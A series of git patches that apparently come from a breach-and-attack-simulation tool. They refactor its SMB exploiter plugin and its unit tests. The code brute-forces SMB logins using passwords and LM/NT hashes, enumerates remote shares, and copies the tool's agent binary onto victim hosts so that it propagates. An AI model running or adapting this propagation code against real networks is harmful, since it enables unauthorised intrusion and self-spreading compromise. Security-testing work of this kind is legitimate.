a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py new file mode 100644 index 00000000000..83f59ddc522 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -0,0 +1,125 @@ +from ipaddress import IPv4Address +from threading import Event +from typing import List +from unittest.mock import MagicMock + +import pytest +from agent_plugins.exploiters.smb.src.smb_exploit_client import SMBExploitClient +from agent_plugins.exploiters.smb.src.smb_exploiter import SMBExploiter +from agent_plugins.exploiters.smb.src.smb_options import SMBOptions +from agent_plugins.exploiters.smb.src.smb_propagation_client import SMBPropagationClient + +from common import OperatingSystem +from common.credentials import Credentials +from infection_monkey.i_puppet import TargetHost + +CREDENTIALS: List[Credentials] = [] + + +@pytest.fixture +def mock_exploit_client() -> SMBExploitClient: + client = MagicMock(spec=SMBExploitClient) + client.exploit.return_value = ("path", Credentials()) + return client + + +@pytest.fixture +def mock_propagation_client() -> SMBPropagationClient: + client = MagicMock(spec=SMBPropagationClient) + client.propagate.return_value = True + return client + + +@pytest.fixture +def smb_exploiter( + mock_exploit_client: SMBExploitClient, mock_propagation_client: SMBPropagationClient +) -> SMBExploiter: + return SMBExploiter(CREDENTIALS, mock_exploit_client, mock_propagation_client) + + +@pytest.fixture +def target_host() -> TargetHost: + return TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) + + +def test_exploit_host__exploit_succeeds(smb_exploiter: SMBExploiter, target_host: TargetHost): + result = smb_exploiter.exploit_host( + host=target_host, + servers=[], + current_depth=1, + options=SMBOptions(), + interrupt=Event(), + ) + + assert result.exploitation_success + assert result.propagation_success + + +def test_exploit_host__exploit_fails( + smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient, target_host: TargetHost +): + mock_exploit_client.exploit.return_value = None + + result = smb_exploiter.exploit_host( + host=target_host, + servers=[], + current_depth=1, + options=SMBOptions(), + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success + + +def test_exploit_host__propagation_succeeds( + smb_exploiter: SMBExploiter, + target_host: TargetHost, +): + result = smb_exploiter.exploit_host( + host=target_host, + servers=[], + current_depth=1, + options=SMBOptions(), + interrupt=Event(), + ) + + assert result.exploitation_success + assert result.propagation_success + + +def test_exploit_host__propagation_fails( + smb_exploiter: SMBExploiter, + mock_propagation_client: SMBPropagationClient, + target_host: TargetHost, +): + mock_propagation_client.propagate.return_value = False + + result = smb_exploiter.exploit_host( + host=target_host, + servers=[], + current_depth=1, + options=SMBOptions(), + interrupt=Event(), + ) + + assert result.exploitation_success + assert not result.propagation_success + + +def test_exploit_host__exploit_skipped_on_interrupt( + smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient, target_host: TargetHost +): + mock_exploit_client.exploit.return_value = ("path", Credentials()) + interrupt = Event() + interrupt.set() + + smb_exploiter.exploit_host( + host=target_host, + servers=[], + current_depth=1, + options=SMBOptions(), + interrupt=interrupt, + ) + + assert not mock_exploit_client.exploit.called From c6301ef58d10a42825f6ded2b2027d91c981c9cd Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Mar 2023 19:10:39 +0000 Subject: [PATCH 0727/1338] SMB: Accept credentials in SMBExploitClient.__init__ --- .../exploiters/smb/src/smb_exploit_client.py | 26 +++++++++---------- 1 file changed, 12 insertions(+), 14 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index a44d8182d92..53ac8956e3f 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -27,38 +27,36 @@ def __init__( self, agent_binary_repository: IAgentBinaryRepository, agent_event_publisher: IAgentEventPublisher, + credentials: Iterable[Credentials], ): self._agent_binary_repository = agent_binary_repository self._agent_event_publisher = agent_event_publisher + self._credentials = credentials self._smb: Optional[SMBConnection] = None - def exploit( - self, host: TargetHost, credentials_list: Iterable[Credentials], options: SMBOptions - ) -> Optional[Tuple[str, Credentials]]: + def exploit(self, host: TargetHost, options: SMBOptions) -> Optional[Tuple[str, Credentials]]: """Exploits a host using SMB. Returns the remote path of the agent binary.""" - credentials = self.brute_force(host, credentials_list, options) + credentials = self.brute_force(host, options) destination_path = get_agent_dst_path(host) agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) - remote_path = self.copy_agent(agent_binary, host, destination_path, credentials_list) + remote_path = self.copy_agent(agent_binary, host, destination_path, credentials) if not remote_path: logger.debug(f"Failed to copy agent to {host}") return None return remote_path, credentials - def brute_force( - self, host: TargetHost, credentials: Iterable[Credentials], options: SMBOptions - ) -> Optional[Credentials]: + def brute_force(self, host: TargetHost, options: SMBOptions) -> Optional[Credentials]: """Brute force SMB login""" - credentials_list = generate_brute_force_credentials(credentials) - for _credentials in credentials_list: + credentials_list = generate_brute_force_credentials(self._credentials) + for credentials in credentials_list: # TODO: Test if we only need to create the connection once self._smb = SMB.create_connection(host) if not self._smb: continue - self._smb = SMB.login(self._smb, _credentials) + self._smb = SMB.login(self._smb, credentials) if not self._smb: continue @@ -69,16 +67,16 @@ def brute_force( # At this point, we've successfully logged in with a non-guest user # Can we break out of the loop here? - return _credentials + return credentials return None def copy_agent( self, agent_binary: BytesIO, - host, + host: TargetHost, path: PurePath, - credentials, + credentials: Credentials, ) -> Optional[str]: """File path if the agent was copied successfully, otherwise None""" if not SMB.query_server_info(self._smb): From 1e77ec5c1f9700d10bc25172f0ae757033629a3d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 13 Mar 2023 20:48:41 +0100 Subject: [PATCH 0728/1338] SMB: Modify SMB stateless class to utility functions --- .../agent_plugins/exploiters/smb/src/smb.py | 112 ------------------ .../exploiters/smb/src/smb_exploit_client.py | 22 ++-- .../exploiters/smb/src/smb_utils.py | 102 ++++++++++++++++ 3 files changed, 116 insertions(+), 120 deletions(-) delete mode 100644 monkey/agent_plugins/exploiters/smb/src/smb.py create mode 100644 monkey/agent_plugins/exploiters/smb/src/smb_utils.py diff --git a/monkey/agent_plugins/exploiters/smb/src/smb.py b/monkey/agent_plugins/exploiters/smb/src/smb.py deleted file mode 100644 index 9a063142707..00000000000 --- a/monkey/agent_plugins/exploiters/smb/src/smb.py +++ /dev/null @@ -1,112 +0,0 @@ -import logging -from typing import Type - -# SMB -from impacket.dcerpc.v5 import srvs, transport -from impacket.dcerpc.v5.rpcrt import DCERPC_v5 -from impacket.smbconnection import SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SMBConnection - -from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext -from infection_monkey.i_puppet import TargetHost - -logger = logging.getLogger(__name__) - - -class SMB: - @classmethod - def create_connection(self, host: TargetHost) -> SMBConnection: - # Create a SMB connection with the credentials - try: - return SMBConnection( - str(host.ip), str(host.ip), sess_port=445, preferredDialect=SMB_DIALECT - ) - except Exception as err: - logger.debug( - f"Failed to create SMB connection to {host} on port 445. Trying port 139: {err}" - ) - - try: - return SMBConnection("*SMBSEVER", str(host.ip), sess_port=139) - except Exception as err: - logger.debug(f"Failed to create SMB connection to {host} on port 139: {err}") - return None - - @classmethod - def get_dialect(self, smb: SMBConnection) -> str: - return { - SMB_DIALECT: "SMBv1", - SMB2_DIALECT_002: "SMBv2.0", - SMB2_DIALECT_21: "SMBv2.1", - }.get(smb.getDialect(), "SMBv3.0") - - @classmethod - def login(self, smb: SMBConnection, credentials: Credentials) -> bool: - """True if login succeeded, False otherwise""" - try: - smb.login( - credentials.identity, - secret_for_type(credentials, Password), - "", - secret_for_type(credentials, LMHash), - secret_for_type(credentials, NTHash), - ) - except Exception as err: - logger.debug(f"Failed to login to with user {credentials.identity}: {err}") - return False - return True - - @classmethod - def logout_guest(self, smb: SMBConnection) -> bool: - if smb.isGuestSession() > 0: - try: - smb.logoff() - except Exception: - # TODO: If we failed to logout, we should handle that - pass - - return True - return False - - @classmethod - def query_server_info(self, smb: SMBConnection): - try: - info = SMB.execute_rpc_call(smb, "hNetrServerGetInfo", 102) - except Exception as err: - logger.debug(f"Failed to query server info: {err}") - return None - - return info - - @classmethod - def query_shared_resources(self, smb: SMBConnection): - try: - shares = SMB.execute_rpc_call(smb, "hNetrShareEnum", 2) - except Exception as err: - logger.debug(f"Failed to query shared resources: {err}") - return None - - return shares - - @staticmethod - def execute_rpc_call(smb, rpc_func, *args): - dce = SMB.get_dce_bind(smb) - rpc_method_wrapper = getattr(srvs, rpc_func, None) - if not rpc_method_wrapper: - raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) - - return rpc_method_wrapper(dce, *args) - - @staticmethod - def get_dce_bind(smb: SMBConnection) -> DCERPC_v5: - rpctransport = transport.SMBTransport( - smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb - ) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - - return dce - - -def secret_for_type(credentials: Credentials, secret_type: Type) -> str: - return get_plaintext(credentials.secret) if type(credentials.secret) == secret_type else "" diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 53ac8956e3f..911dd0f25e3 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -14,8 +14,14 @@ from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import TargetHost -from .smb import SMB from .smb_options import SMBOptions +from .smb_utils import ( + create_smb_connection, + logout_guest, + query_server_info, + query_shared_resources, + smb_login, +) logger = logging.getLogger(__name__) @@ -52,17 +58,17 @@ def brute_force(self, host: TargetHost, options: SMBOptions) -> Optional[Credent credentials_list = generate_brute_force_credentials(self._credentials) for credentials in credentials_list: # TODO: Test if we only need to create the connection once - self._smb = SMB.create_connection(host) + self._smb = create_smb_connection(host) if not self._smb: continue - self._smb = SMB.login(self._smb, credentials) + self._smb = smb_login(self._smb, credentials) if not self._smb: continue self._smb.setTimeout(options.smb_connect_timeout) - if SMB.logout_guest(self._smb): + if logout_guest(self._smb): continue # At this point, we've successfully logged in with a non-guest user @@ -79,7 +85,7 @@ def copy_agent( credentials: Credentials, ) -> Optional[str]: """File path if the agent was copied successfully, otherwise None""" - if not SMB.query_server_info(self._smb): + if not query_server_info(self._smb): return None shares = self.query_shares(host, path) @@ -93,7 +99,7 @@ def copy_agent( return None def query_shares(self, host: TargetHost, path: PurePath): - resp = SMB.query_shared_resources(self._smb) + resp = query_shared_resources(self._smb) if not resp: return () @@ -154,11 +160,11 @@ def connected_shares(self, shares, host: TargetHost, credentials: Credentials): yield remote_path, share_name, share_path def connect_with_user(self, host: TargetHost, credentials: Credentials) -> bool: - self._smb = SMB.create_connection(host) + self._smb = create_smb_connection(host) if not self._smb: return False - self._smb = SMB.login(self._smb, credentials) + self._smb = smb_login(self._smb, credentials) if not self._smb: return False diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_utils.py b/monkey/agent_plugins/exploiters/smb/src/smb_utils.py new file mode 100644 index 00000000000..b3968a3e7d1 --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/src/smb_utils.py @@ -0,0 +1,102 @@ +import logging +from typing import Type + +# SMB +from impacket.dcerpc.v5 import srvs, transport +from impacket.dcerpc.v5.rpcrt import DCERPC_v5 +from impacket.smbconnection import SMB_DIALECT, SMBConnection + +from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext +from infection_monkey.i_puppet import TargetHost + +logger = logging.getLogger(__name__) + + +def create_smb_connection(host: TargetHost) -> SMBConnection: + # Create a SMB connection with the credentials + try: + return SMBConnection( + str(host.ip), str(host.ip), sess_port=445, preferredDialect=SMB_DIALECT + ) + except Exception as err: + logger.debug( + f"Failed to create SMB connection to {host} on port 445. Trying port 139: {err}" + ) + + try: + return SMBConnection("*SMBSEVER", str(host.ip), sess_port=139) + except Exception as err: + logger.debug(f"Failed to create SMB connection to {host} on port 139: {err}") + return None + + +def smb_login(smb: SMBConnection, credentials: Credentials) -> bool: + """True if login succeeded, False otherwise""" + try: + smb.login( + credentials.identity, + _secret_for_type(credentials, Password), + "", + _secret_for_type(credentials, LMHash), + _secret_for_type(credentials, NTHash), + ) + except Exception as err: + logger.debug(f"Failed to login to with user {credentials.identity}: {err}") + return False + return True + + +def _secret_for_type(credentials: Credentials, secret_type: Type) -> str: + return get_plaintext(credentials.secret) if type(credentials.secret) == secret_type else "" + + +def logout_guest(smb: SMBConnection) -> bool: + if smb.isGuestSession() > 0: + try: + smb.logoff() + except Exception: + # TODO: If we failed to logout, we should handle that + pass + + return True + return False + + +def query_server_info(self, smb: SMBConnection): + try: + info = _execute_rpc_call(smb, "hNetrServerGetInfo", 102) + except Exception as err: + logger.debug(f"Failed to query server info: {err}") + return None + + return info + + +def query_shared_resources(smb: SMBConnection): + try: + shares = _execute_rpc_call(smb, "hNetrShareEnum", 2) + except Exception as err: + logger.debug(f"Failed to query shared resources: {err}") + return None + + return shares + + +def _execute_rpc_call(smb, rpc_func, *args): + dce = _get_dce_bind(smb) + rpc_method_wrapper = getattr(srvs, rpc_func, None) + if not rpc_method_wrapper: + raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) + + return rpc_method_wrapper(dce, *args) + + +def _get_dce_bind(smb: SMBConnection) -> DCERPC_v5: + rpctransport = transport.SMBTransport( + smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb + ) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + return dce From 600af75dcc3fdf5f3f9227447c2380ff6a6e611e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 13 Mar 2023 21:04:15 +0100 Subject: [PATCH 0729/1338] SMB: Remove unused logger --- monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index a36dc1a9c06..8f11bbd9662 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -1,4 +1,3 @@ -import logging from typing import Iterable, Sequence from common.credentials import Credentials @@ -9,8 +8,6 @@ from .smb_options import SMBOptions from .smb_propagation_client import SMBPropagationClient -logger = logging.getLogger(__name__) - class SMBExploiter: def __init__( From 425c85d67b40414db4b8779d297f1c917580eff7 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Mar 2023 14:38:11 +0100 Subject: [PATCH 0730/1338] SMB: Pass IPropagationCredentialsRepository to SMBExploiter --- .../exploiters/smb/src/plugin.py | 9 ++++---- .../exploiters/smb/src/smb_exploit_client.py | 21 +++++++++---------- .../exploiters/smb/src/smb_exploiter.py | 15 ++++++------- .../exploiters/smb/test_smb_exploiter.py | 7 ++++++- 4 files changed, 28 insertions(+), 24 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 9a515a47ff2..8067fbff1ee 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -32,13 +32,12 @@ def __init__( propagation_credentials_repository: IPropagationCredentialsRepository, **kwargs, ): - credentials = propagation_credentials_repository.get_credentials() - smb_exploit_client = SMBExploitClient( - agent_binary_repository, agent_event_publisher, credentials - ) + smb_exploit_client = SMBExploitClient(agent_binary_repository, agent_event_publisher) smb_propagation_client = SMBPropagationClient(agent_event_publisher) - self._smb_exploiter = SMBExploiter(credentials, smb_exploit_client, smb_propagation_client) + self._smb_exploiter = SMBExploiter( + smb_exploit_client, smb_propagation_client, propagation_credentials_repository + ) def run( self, diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 911dd0f25e3..da92c8868ab 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -33,15 +33,14 @@ def __init__( self, agent_binary_repository: IAgentBinaryRepository, agent_event_publisher: IAgentEventPublisher, - credentials: Iterable[Credentials], ): self._agent_binary_repository = agent_binary_repository self._agent_event_publisher = agent_event_publisher - self._credentials = credentials self._smb: Optional[SMBConnection] = None - def exploit(self, host: TargetHost, options: SMBOptions) -> Optional[Tuple[str, Credentials]]: - """Exploits a host using SMB. Returns the remote path of the agent binary.""" + def exploit( + self, host: TargetHost, options: SMBOptions, credentials: Iterable[Credentials] + ) -> Optional[Tuple[str, Credentials]]: credentials = self.brute_force(host, options) destination_path = get_agent_dst_path(host) agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) @@ -53,16 +52,17 @@ def exploit(self, host: TargetHost, options: SMBOptions) -> Optional[Tuple[str, return remote_path, credentials - def brute_force(self, host: TargetHost, options: SMBOptions) -> Optional[Credentials]: - """Brute force SMB login""" - credentials_list = generate_brute_force_credentials(self._credentials) - for credentials in credentials_list: + def brute_force( + self, host: TargetHost, options: SMBOptions, credentials: Iterable[Credentials] + ) -> Optional[Credentials]: + credentials_list = generate_brute_force_credentials(credentials) + for brute_force_credentials in credentials_list: # TODO: Test if we only need to create the connection once self._smb = create_smb_connection(host) if not self._smb: continue - self._smb = smb_login(self._smb, credentials) + self._smb = smb_login(self._smb, brute_force_credentials) if not self._smb: continue @@ -73,7 +73,7 @@ def brute_force(self, host: TargetHost, options: SMBOptions) -> Optional[Credent # At this point, we've successfully logged in with a non-guest user # Can we break out of the loop here? - return credentials + return brute_force_credentials return None @@ -84,7 +84,6 @@ def copy_agent( path: PurePath, credentials: Credentials, ) -> Optional[str]: - """File path if the agent was copied successfully, otherwise None""" if not query_server_info(self._smb): return None diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 8f11bbd9662..d3aff45e55b 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -1,8 +1,8 @@ -from typing import Iterable, Sequence +from typing import Sequence -from common.credentials import Credentials from common.types import Event from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from .smb_exploit_client import SMBExploitClient from .smb_options import SMBOptions @@ -12,13 +12,13 @@ class SMBExploiter: def __init__( self, - credentials: Iterable[Credentials], exploit_client: SMBExploitClient, propagation_client: SMBPropagationClient, + propagation_credentials_repository: IPropagationCredentialsRepository, ): - self._credentials = credentials self._exploit_client = exploit_client self._propagation_client = propagation_client + self._propagation_credentials_repository = propagation_credentials_repository def exploit_host( self, @@ -31,14 +31,15 @@ def exploit_host( if interrupt.is_set(): return ExploiterResultData() - result = self._exploit_client.exploit(host, self._credentials, options) + credentials = self._propagation_credentials_repository.get_credentials() + result = self._exploit_client.exploit(host, options, credentials) if not result: return ExploiterResultData() if interrupt.is_set(): return ExploiterResultData(exploitation_success=result is not None) - path, credentials = result + path, propagated_credentials = result propagated = self._propagation_client.propagate( - host, path, credentials, servers, current_depth, options, interrupt + host, path, propagated_credentials, servers, current_depth, options, interrupt ) return ExploiterResultData(exploitation_success=True, propagation_success=propagated) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index 83f59ddc522..4ef4ffcfff6 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -12,6 +12,7 @@ from common import OperatingSystem from common.credentials import Credentials from infection_monkey.i_puppet import TargetHost +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository CREDENTIALS: List[Credentials] = [] @@ -34,7 +35,11 @@ def mock_propagation_client() -> SMBPropagationClient: def smb_exploiter( mock_exploit_client: SMBExploitClient, mock_propagation_client: SMBPropagationClient ) -> SMBExploiter: - return SMBExploiter(CREDENTIALS, mock_exploit_client, mock_propagation_client) + return SMBExploiter( + mock_exploit_client, + mock_propagation_client, + MagicMock(spec=IPropagationCredentialsRepository), + ) @pytest.fixture From bc2b3f0d9f9b7ee87131081ad784cebb2ba4c415 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Mar 2023 16:07:25 +0100 Subject: [PATCH 0731/1338] SMB: Organization of SMB --- .../exploiters/smb/src/plugin.py | 7 +- .../exploiters/smb/src/smb_exploit_client.py | 177 +---------------- .../exploiters/smb/src/smb_exploiter.py | 68 ++++++- .../smb/src/smb_propagation_client.py | 184 ++++++++++++++++-- .../exploiters/smb/src/smb_utils.py | 40 ---- .../exploiters/smb/test_smb_exploiter.py | 28 ++- 6 files changed, 259 insertions(+), 245 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 8067fbff1ee..07bb8439d24 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -32,11 +32,14 @@ def __init__( propagation_credentials_repository: IPropagationCredentialsRepository, **kwargs, ): - smb_exploit_client = SMBExploitClient(agent_binary_repository, agent_event_publisher) + smb_exploit_client = SMBExploitClient(agent_event_publisher) smb_propagation_client = SMBPropagationClient(agent_event_publisher) self._smb_exploiter = SMBExploiter( - smb_exploit_client, smb_propagation_client, propagation_credentials_repository + smb_exploit_client, + smb_propagation_client, + propagation_credentials_repository, + agent_binary_repository, ) def run( diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index da92c8868ab..88ecdd56bb9 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -1,27 +1,14 @@ import logging -import ntpath -from io import BytesIO -from pathlib import PurePath -from typing import Any, Dict, Iterable, Optional, Tuple +from typing import Optional -# SMB from impacket.smbconnection import SMBConnection from common.credentials import Credentials from common.event_queue import IAgentEventPublisher -from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.exploit.tools import generate_brute_force_credentials -from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import TargetHost from .smb_options import SMBOptions -from .smb_utils import ( - create_smb_connection, - logout_guest, - query_server_info, - query_shared_resources, - smb_login, -) +from .smb_utils import create_smb_connection, logout_guest, smb_login logger = logging.getLogger(__name__) @@ -31,134 +18,15 @@ class SMBExploitClient: def __init__( self, - agent_binary_repository: IAgentBinaryRepository, agent_event_publisher: IAgentEventPublisher, ): - self._agent_binary_repository = agent_binary_repository self._agent_event_publisher = agent_event_publisher self._smb: Optional[SMBConnection] = None - def exploit( - self, host: TargetHost, options: SMBOptions, credentials: Iterable[Credentials] - ) -> Optional[Tuple[str, Credentials]]: - credentials = self.brute_force(host, options) - destination_path = get_agent_dst_path(host) - agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) + def authenticate(self, host: TargetHost, options: SMBOptions, credentials: Credentials) -> bool: + """Returns True if authentication succeeded, False otherwise + Side effect: The SMB connection is established on success""" - remote_path = self.copy_agent(agent_binary, host, destination_path, credentials) - if not remote_path: - logger.debug(f"Failed to copy agent to {host}") - return None - - return remote_path, credentials - - def brute_force( - self, host: TargetHost, options: SMBOptions, credentials: Iterable[Credentials] - ) -> Optional[Credentials]: - credentials_list = generate_brute_force_credentials(credentials) - for brute_force_credentials in credentials_list: - # TODO: Test if we only need to create the connection once - self._smb = create_smb_connection(host) - if not self._smb: - continue - - self._smb = smb_login(self._smb, brute_force_credentials) - if not self._smb: - continue - - self._smb.setTimeout(options.smb_connect_timeout) - - if logout_guest(self._smb): - continue - - # At this point, we've successfully logged in with a non-guest user - # Can we break out of the loop here? - return brute_force_credentials - - return None - - def copy_agent( - self, - agent_binary: BytesIO, - host: TargetHost, - path: PurePath, - credentials: Credentials, - ) -> Optional[str]: - if not query_server_info(self._smb): - return None - - shares = self.query_shares(host, path) - for remote_path, share_name, share_path in self.connected_shares(host, shares, credentials): - destination = self.copy_agent_binary( - agent_binary, host, remote_path, share_name, share_path - ) - if destination: - return destination - - return None - - def query_shares(self, host: TargetHost, path: PurePath): - resp = query_shared_resources(self._smb) - if not resp: - return () - - high_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () - low_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () - file_name = path.name - - for i in range(len(resp)): - share_name = resp[i]["shi2_netname"].strip("\0 ") - share_path = resp[i]["shi2_path"].strip("\0 ") - current_uses = resp[i]["shi2_current_uses"] - max_uses = resp[i]["shi2_max_uses"] - - if current_uses >= max_uses: - logger.debug( - f"Skipping share '{share_name}' on victim %r because max uses is exceeded", - host, - ) - continue - elif not share_path: - logger.debug( - f"Skipping share '{share_name}' on victim %r because share path is invalid", - host, - ) - continue - - share_info = {"share_name": share_name, "share_path": share_path} - - if str(path).lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + str(path)[len(share_path) :], share_info),) - - low_priority_shares += ((ntpath.sep + file_name, share_info),) - - return high_priority_shares + low_priority_shares - - def connected_shares(self, shares, host: TargetHost, credentials: Credentials): - """Yields a tuple of (remote_path, share_name, share_path) - Side effect: the SMBConnection is connected to the share""" - # Attempt to connect to a share over SMB - for remote_path, share in shares: - share_name = share["share_name"] - share_path = share["share_path"] - - # TODO: Do we really need to handle reconnects? - if not self._smb: - self.connect_with_user(host, credentials) - if not self._smb: - break - - try: - self._smb.connectTree(share_name) - except Exception as exc: - logger.error( - f'Error connecting tree to share "{share_name}" on victim {host}: {exc}' - ) - continue - - yield remote_path, share_name, share_path - - def connect_with_user(self, host: TargetHost, credentials: Credentials) -> bool: self._smb = create_smb_connection(host) if not self._smb: return False @@ -167,36 +35,9 @@ def connect_with_user(self, host: TargetHost, credentials: Credentials) -> bool: if not self._smb: return False - return True - - def copy_agent_binary( - self, - agent_binary: BytesIO, - host: TargetHost, - remote_path: str, - share_name: str, - share_path: str, - ) -> Optional[str]: - logger.debug( - f"Trying to copy monkey file to share '{share_name}' [%s + %s] on victim {host}", - share_path, - remote_path, - ) - - if not self._smb: - return None - - try: - # TODO: Use config timeout value - # self._smb.setTimeout(timeout) - self._smb.putFile(share_name, remote_path, agent_binary.read) + self._smb.setTimeout(options.smb_connect_timeout) - logger.info( - f"Copied monkey agent to remote share '{share_name}' " - f"[{share_path}] on victim {host}" - ) + if logout_guest(self._smb): + return False - return ntpath.join(share_path, remote_path.strip(ntpath.sep)) - except Exception as exc: - logger.error(f"Error uploading monkey to share '{share_name}' on victim {host}: {exc}") - return None + return True diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index d3aff45e55b..8fd6c35411d 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -1,13 +1,21 @@ -from typing import Sequence +import logging +from typing import Optional, Sequence +from common.credentials import Credentials from common.types import Event +from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit.tools import generate_brute_force_credentials +from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository +from infection_monkey.utils.threading import interruptible_iter from .smb_exploit_client import SMBExploitClient from .smb_options import SMBOptions from .smb_propagation_client import SMBPropagationClient +logger = logging.getLogger(__name__) + class SMBExploiter: def __init__( @@ -15,10 +23,12 @@ def __init__( exploit_client: SMBExploitClient, propagation_client: SMBPropagationClient, propagation_credentials_repository: IPropagationCredentialsRepository, + agent_binary_repository: IAgentBinaryRepository, ): self._exploit_client = exploit_client self._propagation_client = propagation_client self._propagation_credentials_repository = propagation_credentials_repository + self._agent_binary_repository = agent_binary_repository def exploit_host( self, @@ -31,15 +41,55 @@ def exploit_host( if interrupt.is_set(): return ExploiterResultData() - credentials = self._propagation_credentials_repository.get_credentials() - result = self._exploit_client.exploit(host, options, credentials) - if not result: + # TODO: Handle errors from exploit, propagate + credentials = self._exploit(host, options, interrupt) + if not credentials: return ExploiterResultData() if interrupt.is_set(): - return ExploiterResultData(exploitation_success=result is not None) + return ExploiterResultData(exploitation_success=credentials is not None) - path, propagated_credentials = result - propagated = self._propagation_client.propagate( - host, path, propagated_credentials, servers, current_depth, options, interrupt - ) + propagated = self._propagate(host, options, credentials, servers, current_depth, interrupt) return ExploiterResultData(exploitation_success=True, propagation_success=propagated) + + def _exploit( + self, host: TargetHost, options: SMBOptions, interrupt: Event + ) -> Optional[Credentials]: + propagated_credentials = self._brute_force(host, options, interrupt) + + return propagated_credentials + + def _propagate( + self, + host: TargetHost, + options: SMBOptions, + credentials: Credentials, + servers: Sequence[str], + current_depth: int, + interrupt: Event, + ) -> bool: + destination_path = get_agent_dst_path(host) + agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) + remote_path = self._propagation_client.copy_file( + agent_binary, host, destination_path, credentials + ) + if not remote_path: + logger.debug(f"Failed to copy 